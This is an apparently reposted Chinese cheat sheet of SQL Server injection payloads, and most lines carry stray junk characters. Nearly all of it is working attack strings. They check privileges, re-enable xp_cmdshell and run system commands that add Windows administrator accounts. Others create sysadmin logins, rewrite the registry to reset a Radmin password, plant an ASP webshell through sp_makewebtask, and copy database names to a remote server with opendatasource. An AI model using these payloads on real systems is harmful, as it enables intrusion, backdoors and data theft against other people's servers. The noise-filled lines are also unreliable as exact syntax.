阿D常用的一些注入命令
K; m8 d& g! ~6 B8 z" O# Z- Z/ d//看看是什么权限的
: ^5 x0 G5 b9 N6 B+ I* t% H, Y4 Mand 1=(Select IS_MEMBER('db_owner'))$ H4 a; S* L( I" X
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
' M ]7 [7 S! I/ H, k# R! B# R( p1 q" _( Z9 P1 S6 y+ Y
//检测是否有读取某数据库的权限
' E0 D! ^, k) e' x. k4 w" {, M. ~and 1= (Select HAS_DBACCESS('master'))
. ^: y7 `# H& w \5 J* w. {8 j: xAnd char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --, \( e1 u8 P, S7 J; n/ _
l0 g% I. x9 O) c- X* w
. k1 b9 X @3 R1 ^+ l数字类型
/ C: J0 L2 H) y; Z2 U6 ]3 Jand char(124)%2Buser%2Bchar(124)=0
$ K( q: D( |# P) j' c* Z/ B- {' q" ]% B4 V. g% ~
字符类型& U }4 [0 Y+ L3 ]9 \. `
' and char(124)%2Buser%2Bchar(124)=0 and ''='
# K6 W( V$ P$ B- T, [' F6 W) w: E5 o- V7 J7 F, {9 a# a: Y7 K
搜索类型
* J6 H( [" s4 _4 d8 i- P7 g3 s5 g' and char(124)%2Buser%2Bchar(124)=0 and '%'='. L4 \ l3 {5 p# _# n
- w( p1 {. B, g- a3 \( y/ Y爆用户名* o/ b" E0 ^, R, h
and user>0
% M) K. G2 A- g6 }$ o' and user>0 and ''='2 x, P- r# I6 C& s% s/ l
" g% b3 X( P9 N- _3 T' U) T" h
检测是否为SA权限* m, Y2 e* o. J2 X0 f& w
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
5 F' L! x, [4 uAnd char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
# f. Z9 [+ z' e, l( V2 Z: a0 O9 V% M: T, L3 g z' q, [
检测是不是MSSQL数据库3 k0 p9 I. T8 J5 q! R
and exists (select * from sysobjects);-- / L7 z' S0 ~* T# }. i
( T+ {8 y9 l5 s2 m; h" M6 ?# ^
检测是否支持多行8 V* v5 v- P8 v- \2 o
;declare @d int;--
" d. i! A. w: m9 d ?1 ?; @7 [4 \8 W" x
恢复 xp_cmdshell
& p1 ?3 |2 e- T$ d$ V4 z;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
4 D+ M7 B# }( f4 g; I" L! L) l0 d9 t E. M4 }- r: @
4 G+ j( N5 r# @, C' c1 d: `7 Uselect * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
7 Z. ]2 |* y+ l& e+ I) }
4 l2 |8 m9 C: v# v//-----------------------
7 K. {! o' x' K. A+ z5 D6 r! o0 G( @6 U// 执行命令
' _7 M6 Y5 ~% p//-----------------------
/ h. i' s, l! ]0 C$ z& x0 @) g首先开启沙盘模式:$ s7 P, z: X* I, d2 D# F: h! `# y
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1. X9 ^4 I: ^$ \1 L" h; B; w
j m7 X. Z: R5 c' W
然后利用jet.oledb执行系统命令
! C% v7 S2 P# g9 x2 {. j; l [7 Eselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')# O$ y; L2 x2 i8 U
. U2 b! E2 Z) r' r/ N* D3 y- X0 X执行命令$ V8 Q# `9 O) U$ N
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--$ c* ?3 _: V3 A- g* c- G3 A' x) ~
9 e; d" ^" ^6 G( p5 B1 A3 N
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111' m K1 Z* k3 r$ d# b h4 c
$ v- ?1 J/ Q$ A判断xp_cmdshell扩展存储过程是否存在:
% Q: w- o' ^9 J8 ahttp://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
2 A% b4 X+ l# g6 ]* Z
1 U$ p+ ]6 O l M/ }+ U写注册表3 P- x, {; g2 d. P. x7 @) n
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
' @, i. }6 o/ `' M& t. K0 @, d1 p1 z# F1 y. C
REG_SZ# d- [. y% i7 @/ o
+ V8 { i: u. y/ `/ O. D读注册表
& {0 p$ t. \, X- x6 }+ v6 r; j) qexec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit': u0 i2 W$ [* Z3 @8 A# D" Y
2 z+ z8 }4 Q3 P# X+ L
读取目录内容
4 S/ i6 r h4 S* B/ q1 [exec master..xp_dirtree 'c:\winnt\system32\',1,1
& |# o' A8 h% O2 n6 X; |$ }1 R# O3 Y
/ O. o" [+ x0 ]# K9 C7 n. X" H数据库备份
2 K+ I5 w$ x" o* }8 G6 Lbackup database pubs to disk = 'c:\123.bak'
! ]7 P8 c( V+ A' e2 o7 \# z; e( H$ ]* A- N
//爆出长度3 ~0 ~+ I. e6 @
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--- {8 v7 ?' n2 ~! {/ G
' Z1 A- Z8 z& {/ Z; Y, D: N
; _/ g4 i& k9 a0 ]. R4 M: {! n
7 x! V8 n/ N5 h, S( t
更改sa口令方法:用sql综合利用工具连接后,执行命令:6 U& r6 c% A' c& `4 w/ R3 u' E1 T5 R
exec sp_password NULL,'新密码','sa'
W" |6 a# A$ a8 K8 h9 ?$ N% M* K+ ]
- A. W, Q i3 v, Z! E1 H5 k" a添加和删除一个SA权限的用户test:
6 d1 g, z$ a9 j# vexec master.dbo.sp_addlogin test,ptlove& m y$ r' q# c+ H1 j2 f7 P! [) n2 X
exec master.dbo.sp_addsrvrolemember test,sysadmin# I0 N& h& m+ v& P( n( v! ~/ ?, p" r
: p* @) P9 B8 e& a( B8 ~
删除扩展存储过过程xp_cmdshell的语句: ; G* D5 y9 E! n, W+ o3 u/ l! ^+ `+ t7 Z
exec sp_dropextendedproc 'xp_cmdshell'
! T# u7 E. a- o: H: o7 \; w
2 b: k7 `! s: f( Q- Y添加扩展存储过过程
- }" T, Y* o9 d) e) N% j# K* m" ?- sEXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll' - p( t. c! r& O% |$ U' H$ J/ I( o
GRANT exec On xp_proxiedadata TO public
7 h+ Q8 h4 B# r* y2 G# e! H" A5 r5 B5 ]: q u4 j$ |
& k2 J/ O) U+ e2 Y) `停掉或激活某个服务。 1 a+ K9 @: n1 o+ _9 S
( _7 F8 j( U! A; ^' I% c, j
exec master..xp_servicecontrol 'stop','schedule'. `" `6 p& u( n0 Y
exec master..xp_servicecontrol 'start','schedule'( f! _& ^( H% w7 f- }
: ?, X$ H* M" A5 Z' h/ L1 P+ b& T
dbo.xp_subdirs
( n9 K# [! V- n
) P3 S% J, c& H只列某个目录下的子目录。
$ y$ o( k5 S! S% m6 F6 \% V% nxp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
9 v1 k6 h, B/ ?* v; C2 D) ?* p. r) e' s. X# {9 p; O
dbo.xp_makecab$ O4 O' ~9 S6 w0 Y$ g% p$ X4 g% f
' E4 o5 f G% r2 ~; o( @0 t
将目标多个档案压缩到某个目标档案之内。
C J( Q/ w% O d0 h- l* m8 O所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
) |. Y9 Q! _5 n% N4 u3 j) _- ~/ X3 n6 }. |( Y& M! L1 A/ B
dbo.xp_makecab# c8 N* ?, u5 o9 A: |8 L. Z
'c:\test.cab','mszip',1,4 v+ C" |1 Q F+ H' R
'C:\Inetpub\wwwroot\SQLInject\login.asp',
" R5 @1 D: M. d, t J: L'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'' i. |/ |9 j, |. ?2 R4 [
" b/ ~$ g5 v% l/ s0 Oxp_terminate_process
+ W0 q+ V: [& b( @
7 d' f; D* s; X+ W- ^ L2 ]停掉某个执行中的程序,但赋予的参数是 Process ID。
- ?9 U. u& z3 A1 U X利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID! s0 j1 Q3 N( m
$ {- a8 M- C! Q+ Hxp_terminate_process 2484
! s4 R2 i' [7 e1 b! N$ n) ^4 K2 r7 P! Q' C7 o% o
xp_unpackcab# H) i) v+ c# F, g+ k0 Z
; R+ m8 V0 m" L8 D
解开压缩档。
9 ]! g2 f, |2 {+ C, f: ?& r/ x# E, ^, @
xp_unpackcab 'c:\test.cab','c:\temp',1+ ?9 N0 l9 K0 v
6 P6 S+ r3 N3 P4 r( _7 I
1 k0 @, f% o+ l9 H: ]* |, X
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234) Z1 L2 @$ Z7 o& f
3 {% [' V5 C, _& S' d; D
create database lcx;
+ g2 I2 z% }7 g' q! y4 E b3 ]2 e+ U0 lCreate TABLE ku(name nvarchar(256) null);/ g0 ^ \7 E# a6 F1 h% k
Create TABLE biao(id int NULL,name nvarchar(256) null);) g7 t6 k- m! g% d) B
& `/ {8 m; U* c9 b' N" ]# _
//得到数据库名
1 I) Z; Y3 u7 D: linsert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases9 U' _ B+ E- Q# G
6 [3 S' R* j- q( v( |
1 j7 j: E# T) Y$ f9 _9 D$ H" b! Q//在Master中创建表,看看权限怎样) e! j$ l0 r5 `% K
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
3 _; W( I# E* R |. g( D4 J) O# J
: E) j k4 f. B1 a用 sp_makewebtask直接在web目录里写入一句话马:, p" Q. y) v! Z, F2 k1 g. b
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--8 G% y: e. L3 z: m) R+ y$ M
/ o: N# H3 \8 A. i" C. X
//更新表内容: b) p F( \* ~( ?0 `4 J) ^0 k4 m
Update films SET kind = 'Dramatic' Where id = 1236 d8 G/ V \3 y/ T9 Z5 t$ p5 u( D
1 l: ^$ d2 Q6 C; }7 J# |//删除内容* x1 M% |) ^; u0 s; W' _
delete from table_name where Stockid = 3 |